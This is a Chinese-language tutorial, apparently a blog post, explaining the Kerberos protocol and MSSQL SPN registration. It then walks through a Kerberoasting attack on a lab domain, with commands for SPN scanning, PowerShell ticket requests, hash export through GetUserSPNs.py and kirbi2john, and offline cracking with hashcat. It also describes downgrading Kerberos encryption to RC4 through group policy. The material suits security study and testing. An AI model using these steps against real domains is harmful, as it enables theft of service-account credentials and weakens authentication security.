首先了解一下Kerberos认证协议

Kerberos Overview & Communication Process:

KDC(Key Distribution Center)有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。

User logs on with username & password.

客户端认证

  1. 客户端将用户id明文消息发送到AS。
  2. AS返回使用客户端用户密码加密的会话密钥session key和使用krbegt密码加密的TGT。
  3. 客户端使用用户密码解密消息获得会话密钥,该会话密钥用于与TGS的进一步通信。

客户服务授权

  1. 客户端发送TGT和用Client/TGS会话密钥加密的认证器。
  2. TGS解密TGT获得会话密钥并用此密钥解密认证器,如果id匹配则返回使用服务密码加密的客户端到服务器的票据和使用Client/TGS会话密钥加密的客户端/服务器会话密钥session key2。

客户服务请求

  1. 客户端发送一个用session key2加密的新的Authenticator和服务票据。
  2. 服务器用自己密码解密服务票据并提供服务。

Service Principal Names

服务主体名称 (SPN) 是服务实例的唯一标识符。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。以为MSSQL服务配置SPN为例。
https://technet.microsoft.com/zh-cn/library/bb735885.aspx

S1. 为 SQL Server 服务帐户注册SPN。

手动注册
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
对于命名实例
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname

查看用户对应的SPN
setspn -L ruos\sql-service

使用ADSI(adsiedit.msc)查看用户属性

S2. 在AD上为用户指定服务登陆权限。

GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment
Log on as a service

S3. 更改 SQL Server 服务帐户为域用户帐户。

暴力破解Kerberos TGS Tickets

由于加密类型是RC4_HMAC_MD5,Kerberos协议第四步TGS-REP将会返回用服务帐户的NTLM密码哈希加密的票据。

S1. SPN扫描

setspn -T domain -q */*

或者
https://github.com/PyroTek3/PowerShell-AD-Recon/

S2. 请求SPN Kerberos Tickets

1
2
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WEBTST01.ruos.org/SQLEXPRESS"

S3. 查看并导出票据

默认配置加密类型是aes256_hmac,tgsrepcrack无法破解,可在服务器组策略指定加密类型为RC4_HMAC_MD5。
GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Network security: Configure encryption types allowed for Kerberos

S4. 离线破解

tgsrepcrack(仅对RC4_HMAC_MD5),或者保存hash使用hashcat破解。

S1.导出hash(用于其他加密类型)
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 192.168.6.2 ruos.org/user2
或者从票据中导出 kirbi2john.py 1-40a00000-user2@MSSQLSvc~WEBTST01.ruos.org~SQLEXPRESS-RUOS.ORG.kirbi
S2. hashcat64.exe -m 13100 hash.txt example.dict –force

https://github.com/nidem/kerberoast
https://github.com/coresecurity/impacket
https://github.com/nidem/kerberoast/blob/master/kirbi2john.py

其他

https://msdn.microsoft.com/zh-cn/library/windows/apps/dn194200(v=sql.110).aspx